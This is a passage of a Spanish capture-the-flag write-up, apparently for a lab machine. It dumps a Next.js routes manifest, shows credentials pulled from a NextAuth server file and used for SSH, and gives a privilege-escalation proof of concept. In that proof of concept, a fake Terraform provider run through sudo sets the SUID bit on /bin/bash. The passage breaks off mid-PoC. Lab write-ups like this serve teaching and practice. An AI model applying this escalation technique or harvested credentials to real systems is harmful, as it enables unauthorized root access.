&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;pages404&amp;#34;&lt;/span&gt;: true,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;caseSensitive&amp;#34;&lt;/span&gt;: false,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;basePath&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;redirects&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;source&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/:path+/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;destination&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/:path+&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;internal&amp;#34;&lt;/span&gt;: true,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;statusCode&amp;#34;&lt;/span&gt;: 308,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;headers&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;dynamicRoutes&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/api/auth/[...nextauth]&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/api/auth/(.+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPnextauth&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPnextauth&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/api/auth/(?&amp;lt;nxtPnextauth&amp;gt;.+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/[section]&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/([^/]+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPsection&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPsection&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/(?&amp;lt;nxtPsection&amp;gt;[^/]+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;staticRoutes&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/components/layout&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/layout(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/layout(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/components/sidebar&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/sidebar(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/sidebar(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/content/examples&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/examples(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/examples(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/content/getting-started&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/getting\-started(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/getting\-started(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/signin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/signin(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/signin(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;dataRoutes&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;rsc&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;header&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;RSC&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;varyHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Next-Router-Prefetch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;didPostponeHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;x-nextjs-postponed&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;contentTypeHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;text/x-component&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;suffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.rsc&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSuffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.prefetch.rsc&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSegmentHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Next-Router-Segment-Prefetch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSegmentSuffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.segment.rsc&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSegmentDirSuffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.segments&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;rewriteHeaders&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;pathHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;x-nextjs-rewritten-path&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;queryHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;x-nextjs-rewritten-query&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;rewrites&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="credenciales--ssh"&gt;Credenciales → SSH&lt;/h3&gt;
&lt;p&gt;Se consultó &lt;code&gt;/app/.next/server/pages/api/auth/[...nextauth]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-802a-9879-f53f018da85f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;De ahí salieron credenciales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;jeremy:MyNameIsJeremyAndILovePancakes&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Con esas credenciales se obtuvo acceso por SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-806d-9b0b-ec773559b1ea.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="escalada-de-privilegios-terraform-con-sudo"&gt;Escalada de privilegios (Terraform con sudo)&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://dollarboysushil.com/posts/Terraform-Sudo-Exploit-Privilege-Escalation/"&gt;Privilege Escalation PoC: Terraform sudo Exploit&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Restricción parcial de sudo&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;El usuario &lt;code&gt;jeremy&lt;/code&gt; no tiene acceso total a &lt;code&gt;sudo&lt;/code&gt;. Sólo puede ejecutar &lt;code&gt;terraform&lt;/code&gt; con super privilegios.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Comportamiento de Terraform&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Terraform puede cargar proveedores/plugins.&lt;/li&gt;
&lt;li&gt;Con &lt;code&gt;TF_CLI_CONFIG_FILE&lt;/code&gt; se puede apuntar a una configuración de CLI que defina &lt;code&gt;dev_overrides&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Idea del abuso&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Si Terraform, ejecutándose como root vía &lt;code&gt;sudo&lt;/code&gt;, carga un proveedor desde una ruta controlada por el usuario, ese binario se ejecuta con privilegios elevados.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PoC&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jeremy@previous:/opt/examples$ &lt;span style="color:#75715e"&gt;# 1) Crea el &amp;#34;proveedor&amp;#34; con el nombre que Terraform está buscando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat &amp;gt; /tmp/terraform-provider-examples &lt;span style="color:#e6db74"&gt;&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;chmod u+s /bin/bash &amp;gt;/tmp/pwn-log 2&amp;gt;&amp;amp;1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod +x /tmp/terraform-provider-examples
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 2) Asegúrate del TF_CLI_CONFIG_FILE correcto &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat &amp;gt; /tmp/dev.tfrc &lt;span style="color:#e6db74"&gt;&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;provider_installation {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; dev_overrides {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; &amp;#34;previous.htb/terraform/examples&amp;#34; = &amp;#34;/tmp&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; direct {}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;EOF&lt;/span&gt;
